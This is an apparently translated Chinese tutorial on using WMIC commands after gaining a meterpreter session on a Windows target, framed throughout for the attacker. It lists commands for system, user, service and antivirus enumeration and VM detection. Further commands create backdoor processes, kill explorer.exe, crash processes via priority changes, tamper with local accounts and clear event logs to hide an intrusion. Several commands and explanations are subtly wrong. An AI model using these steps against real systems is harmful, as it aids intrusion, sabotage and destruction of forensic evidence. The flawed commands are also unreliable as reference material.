在这篇文章中,我们将讨论如何在攻击的后渗透利用阶段使用 WMIC(Windows Management InstrumentationCommand Line)。当攻击者在远程 PC 上拿到 meterpreter 会话之后,他们就可以枚举大量的系统信息,并利用 WMI 命令行工具来进行更深程度的操作。
首先,我们会介绍如何拿到远程 PC 的 meterpreter 会话。拿到会话之后,我们还会告诉大家如何提权至管理员权限。
WMIC 命令行可以通过 Windows CMD 来访问,直接在 meterpreter shell 中输入 “shell“即可。接下来,我们一起看一看 WMIC 命令以及相应的工作机制。
下面这个命令可以查看 WMIC 命令的全局选项,WMIC 全局选项可以用来设置 WMIC 环境的各种属性,通过结合各种全局选项以及参数,我们就可以通过 WMIC 环境来管理整个系统了。
wmic /?
铜鼓 WMIC 命令的操作系统指令,我们可以枚举出大量关于目标系统的信息,包括主机名、域名、制造商以及设备型号等等。
我们还可以添加下列过滤器来获取更精准的扫描结果:
Roles:它可以给我们提供目标设备在整个网络系统中所扮演的角色,例如工作站、服务器或个人 PC 等等。
Manufacturer:它可以给我们提供目标系统的制造商和设备型号,因为某些特定制造商所生产的特定型号设备会存在特定的漏洞,因此我们可以利用这部分信息来寻找存在漏洞的设备。
UserName:它可以给我们返回系统的用户名,我们可以利用这部分信息来区分谁是管理员谁是普通用户。
[/format:list]:以列表格式输出数据并排列。
wmic computersystem get Name, Domain, Manufacturer, Model, Username, Roles/format:list
为了枚举出 SID,我们需要用到 WMIC 的 group 选项:
wmic group get Caption, InstallDate, LocalAccount, Domain, SID, Status
如下图所示,我们已经查找到了账户名、域名、本地组成员状态、SID 以及相应的状态:
WMIC 命令的 process 选项可以帮助我们在目标用户的系统中创建各种进程。这种功能可以帮助我们创建后门,或占用大量目标系统的内存:
wmic process call create “[Process Name]”
wmic process call create “taskmgr.exe”
你可以从下图中看到,这个命令不仅会创建一个进程,而且还会赋予相应的进程 ID,所以我们就可以根据我们的需要来修改进程信息了。
注意:如果进程创建了一个类似任务管理器和 CMD 这样的窗口,那么这条命令将会在目标系统中打开这个窗口,这样会引起目标用户的怀疑。
WMIC 命令的 process 选项还可以帮我们修改目标系统中运行进程的优先级,这是一个非常有用的功能。降低某个进程的优先级可能会导致特定的应用程序发生崩溃,而提升某个进程的优先级甚至还会导致整个系统发生崩溃。
wmic process where name=”explorer.exe” call set priority 64
WMIC 命令还可以帮我们终止目标系统正在运行的进程:
wmic process where name=”explorer.exe” call terminate
下面的命令可以枚举出整个系统中所有可执行文件的路径地址:
wmic process where “NOT ExecutablePath LIKE ‘%Windows%’” GET ExecutablePath
WMIC 命令的 fsdir 选项可以提取目标系统中文件目录的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:
wmic fsdir where=”drive=’c:’ and filename=’test’” get /format:list’
WMIC 命令的 datafile 选项可以获取目标系统中文件的基本信息,其中包括压缩方法、创建日期、文件大小、是否可读写、是否为系统文件、加密状态以及加密类型等等:
wmic datafile where=’[Path of File]’ get /format:list
wmic datafile where name=’c:\\windows\\system32\\demo\\demo.txt’ get /format:list
WMIC 可以提取出所有重要系统文件的路径,例如 temp 目录和 win 目录等等:
wmic environment get Description, VariableValue
wmic product get name
获取到正在运行的服务列表之后,WMIC 还可以提供服务的启动模式,例如 “自动”、“手动” 和 “运行中”:
wmic service where (state=”running”) get caption, name, startmode
sysdrive 选项可以枚举出驱动的名称、路径和服务类型等数据:
wmic sysdriver get Caption, Name, PathName, ServiceType, State, Status /format:list
os 选项可以列举出目标系统的上一次启动时间、注册的用户数量、处理器数量、物理 / 虚拟内存信息和安装的操作系统类型等等:
wmic os get CurrentTimeZone, FreePhysicalMemory, FreeVirtualMemory, LastBootUpdate,NumberofProcesses, NumberofUsers, Organization, RegisteredUsers, Status/format:list
wmic baseboard, get Manufacturer, Product, SerialNumber, Version
wmic bios, get serialNumber
memcache 选项可以获取到内存缓存名和块大小等信息:
wmic memcache get Name, BlockSize, Purpose, MaxCacheSize, Status
memorychip 选项可以获取到 RAM 的相关信息,例如序列号等等:
wmic memorychip get PartNumber, SerialNumber
我们可以根据 onboarddevice 选项返回的信息来判断目标系统到底是真实的主机操作系统,还是一台虚拟机(VMware 或 Virtual Box):
wmic onboarddevice get Desciption, DeviceType, Enabled, Status /format:list
我们可以使用 useraccount 选项来锁定本地用户账号:
wmic useraccount where name=’demo’ set disabled=false
wmic useraccount where name=’demo’ rename hacker
我们还可以限制本地用户的密码修改操作:
wmic useraccount where name=’hacker’ set passwordchangeable=false
我们可以枚举出目标系统安装的反病毒产品信息,包括安装位置和版本:
wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
WMIC 命令的 nteventlog 选项还可以清除系统的日志记录,当你入侵了某个系统之后,这个命令可以帮助你掩盖攻击痕迹:
wmic nteventlog where filename='[logfilename]’ cleareventlog
wmic nteventlog where filename=’system’ cleareventlog